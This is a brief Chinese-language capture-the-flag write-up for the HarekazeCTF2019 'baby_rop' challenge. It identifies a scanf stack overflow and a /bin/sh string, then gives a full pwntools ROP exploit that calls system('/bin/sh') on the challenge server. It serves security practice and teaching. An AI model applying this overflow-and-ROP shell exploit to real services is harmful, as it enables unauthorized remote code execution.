[HarekazeCTF2019]baby_rop
使用checksec
查看:
只开启了栈不可执行。
放进IDA中分析:
system("echo -n \"What's your name? \"");
:system()可用__isoc99_scanf("%s", &v4);
:存在栈溢出
查看字符串:
- 存在
/bin/sh
字符串
题目思路
- 利用栈溢出覆盖返回地址为
system@PLT
- 传入
system()
的参数/bin/sh
- 即可getshell
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",26718)
# r = process("../buu/[HarekazeCTF2019]baby_rop")
elf = ELF("../buu/[HarekazeCTF2019]baby_rop")
#params
rdi_addr = 0x400683
bin_sh_addr = 0x601048
system_addr = elf.symbols['system']
#attack
payload=b'M'*0x18 + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()